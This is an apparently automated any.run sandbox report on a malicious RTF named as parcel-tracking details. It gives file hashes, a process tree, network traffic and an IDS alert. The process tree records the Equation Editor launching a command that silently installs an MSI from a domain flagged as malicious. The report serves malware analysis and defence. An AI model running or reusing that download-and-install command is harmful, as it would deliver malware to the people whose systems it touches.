File name: | Tracking Details & Percel Images.doc |
Full analysis: | https://app.any.run/tasks/dad616f9-98c4-4c20-a97a-f01f4b3ad9e3 |
Verdict: | Malicious activity |
Analysis date: | August 25, 2019, 17:04:00 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | text/rtf |
File info: | Rich Text Format data, version 1, unknown character set |
MD5: | DB27520CB72D278E77312ED41B8206E6 |
SHA1: | 615DF2E680258AB8A9F75065B39CF9B7A423592B |
SHA256: | EF0F0237D25CDE124DE87080B6B9428974F3C3FBD60AE231576393B7481CB110 |
SSDEEP: | 192:+LV5E2FeKBBY/I4n/5X6pWCjQr3DDvYxGtjSM8g2C66GaJ:WeV9dC0r3DDHlS5grGaJ |
.rtf | | | Rich Text Format (100) |
---|
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3500 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Tracking Details & Percel Images.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3852 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | |
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 | ||||
2520 | cmd.exe & /C CD C: & msiexec.exe /i http://salvationbd.com/http/fb.msi /qn | C:\Windows\system32\cmd.exe | — | EQNEDT32.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1619 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2944 | msiexec.exe /i http://salvationbd.com/http/fb.msi /qn | C:\Windows\system32\msiexec.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 1619 Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
4068 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | |
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
2736 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | — | svchost.exe |
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 |
PID | Process | Filename | Type | |
---|---|---|---|---|
3500 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR9C35.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3500 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:FE201A162627021161FBB99000E7FCB8 | SHA256:F20649DFDA8080B4C662E06BDC487341B979E2AEAEF9684FFD68644B5997D198 | |||
3500 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$acking Details & Percel Images.doc | pgc | |
MD5:50C5866E4A1677AF2766A76E01F89855 | SHA256:38B7DA5977243F6ECCFC95FAED80E06ABF19FEC02EC80C28651353A8B31E11CD |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
4068 | msiexec.exe | GET | 404 | 69.10.52.210:80 | http://salvationbd.com/http/fb.msi | US | html | 1.21 Kb | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
4068 | msiexec.exe | 69.10.52.210:80 | salvationbd.com | NEW JERSEY INTERNATIONAL INTERNET EXCHANGE LLC | US | malicious |
Domain | IP | Reputation |
---|---|---|
salvationbd.com |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
4068 | msiexec.exe | Potential Corporate Privacy Violation | SUSPICIOUS [PTsecurity] Executable application_x-msi Download |